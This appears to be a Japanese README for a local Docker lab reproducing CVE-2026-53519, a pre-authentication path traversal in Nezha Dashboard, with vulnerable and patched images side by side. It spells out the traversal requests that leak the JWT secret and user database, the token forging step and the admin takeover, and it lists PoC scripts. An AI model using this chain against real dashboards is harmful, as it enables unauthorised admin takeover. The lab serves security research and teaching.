
Dockerラボは、Nezha Dashboardにおける認証前のパストラバーサルであるCVE-2026-53519を再現します。これはjwt_secret_keyを漏洩させ、JWT偽造と管理者乗っ取りを可能にします。
| Image | URL (loopback) | 期待される結果 |
|---|
| Vulnerable | ghcr.io/nezhahq/nezha:v2.0.12 | http://127.0.0.1:9090 | config.yaml 漏洩、admin 奪取 |
| Patched | ghcr.io/nezhahq/nezha:v2.0.13 | http://127.0.0.1:9091 | ブロック (404) |
両方とも 127.0.0.1 のみに bind し、LAN に公開しません。デフォルト admin ログイン: admin / admin。
python) - 漏洩した sqlite.db を parse するため (無い場合の fallback あり)# 1. Seed data + up 2 container (vuln 8080, patched 8081)
.\lab.ps1 reset
# 2. Smoke check を素早く
.\lab.ps1 validate
# 3. VULN に対する完全な攻撃チェーン
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1
# 4. PATCHED に対する対照 (期待: ブロック)
powershell -ExecutionPolicy Bypass -File .\poc\poc-cve-2026-53519.ps1 -Patched
# 5. Negative controls (なぜこの変種だけが漏洩するのか)
powershell -ExecutionPolicy Bypass -File .\poc\negative-controls.ps1
管理コマンド:
.\lab.ps1 start | stop | status | logs [vuln|patched]
GET /dashboard../data/config.yaml -> jwt_secret_key を漏洩。
GET /dashboard../data/sqlite.db -> admin の user id を取得 (id=1)。{user_id:"1", ip:"", exp:<future>} を署名 -> Authorization: Bearer <token>
-> GET /api/v1/profile (認証) および GET /api/v1/user (admin 専用 endpoint) -> admin takeover。Root cause の詳細: analysis/ROOT_CAUSE.md および
analysis/vuln-vs-patch.diff を参照。
完全なレポート: REPORT_CVE_2026_53519.md。
docker-compose.yml # A/B vuln (8080) vs patched (8081)
seed/config.yaml # seed jwt_secret_key 固定 (deterministic)
seed/lab_canary.txt # file read を実証する canary
lab.ps1 / lab-common.ps1 # 管理 + helper (raw HTTP, forge JWT HS256)
poc/poc-cve-2026-53519.ps1 # 完全な攻撃チェーン
poc/negative-controls.ps1 # ブロックされる変種の対照
poc/parse_users.py # 漏洩した sqlite.db を parse -> admin の user id
analysis/ROOT_CAUSE.md # 分析 + 修正版
analysis/vuln-vs-patch.diff # controller.go v2.0.12 -> v2.0.13 の diff
evidence/ # 各実行の output (leaked-config, token, userlist...)
Lab はローカル環境での研究/教育のみに使用してください。seed/config.yaml 内の jwt_secret_key
はダミー値であり、デモ専用です。この脆弱性のある image/version を production で使用しないでください。